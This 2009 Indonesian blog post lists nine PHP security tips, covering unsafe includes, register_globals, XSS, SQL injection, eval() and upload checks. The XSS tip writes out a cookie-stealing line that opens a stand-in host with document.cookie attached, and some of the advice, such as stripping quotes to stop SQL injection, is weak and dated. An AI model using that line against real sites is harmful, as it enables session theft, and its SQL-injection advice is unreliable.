Thursday, May 28, 2009

Security Knowledge in PHP

Keamanan 1 :
Hindari menggunakan sebuah variabel untuk include : Misalnya
include($_GET["string"]);
Bila terpaksa coba untuk validasi

Keamanan 2 :
Hindari register global = on (ini sudah basic). Register global dapat menyebabkan variabel saling bentrok. misalkan variabel $_GET["login"] dan $_SESSION["login"] yang sama namanya kan bila register global on akan terlihat $login saja. dalam hal ini $login yang milik get yang menang.

Keamanan 3 :
Validasi posting form kamu, gunakan HTMLSPECIALCHARS(); orang yang jahat dapat memasukkan data ini kedalam form login kamu

HTMLSPECIALCHAR akan mengconvert kata < menjadi < dan > menjadi >

Keamaman 4 :
XSS atau Cross Site Scripting adalah trend baru sekarang, kita cukup memasukkan data tambahan


nah, perintah diatas sana bisa dimodifikasi menjadi sebuah perintah window.open(http://www.apaaja.com+'?cookies=' + document.cookie);
maka hacker akan mampu mengambil valid session id dari cookie.

Keamanan 5
Intepreter PHP3 dan beberapa versi awal PHP 4.0.x punya masalah dalam logging error. PHP akan memanggil fungsi C yaitu functions syslog() dan vsnprintf() dalam melakukan logging. Sangat mungkin data yang dikirim ke fungsi itu adalah user input.

Keamanan 6 :
is_uploaded_file($path) harus digunakan untuk memvalidasi file yang diupload (agar tidak ada user yang memasukkan path palsu kedalam form upload untuk mengambil file lain).

Keamanan 7 :
hati-hati, jangan pernah menjalankan input yang belum unescaped query. Hal ini dapat menyebabkan SQL Injection. Selalu hapus karakter ' dan " yang berasal dari input atau tambahkan \. Misalkan login form, input yang kalian harapkan akan berkisar dari 0-9 dan a-z bila ada karakter ' (petik satu) atau lainnya harus dihapus.

Keamanan 8 :
hati-hati perintah eval() yang mampu mengeksekusi sebuah string seperti PHP code. Jangan izinkan input dari user asing tanpa validasi.
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

hasilnya
This is a $string with my $name in it.
This is a cup with my coffee in it.

keamanan 9 :
untuk semua file include kamu, pakai extension *.php jangan *.inc, *.h atau sejenisnya karena dapat dengan mudah terbuka pada browser (tampil sebagai text bukan hasil output script). Lebih baik lagi bila melakukan konfigurasi di apache conf agar *.htm dianggap sebagai file php.

sumber : http://securehacklink.org

No comments: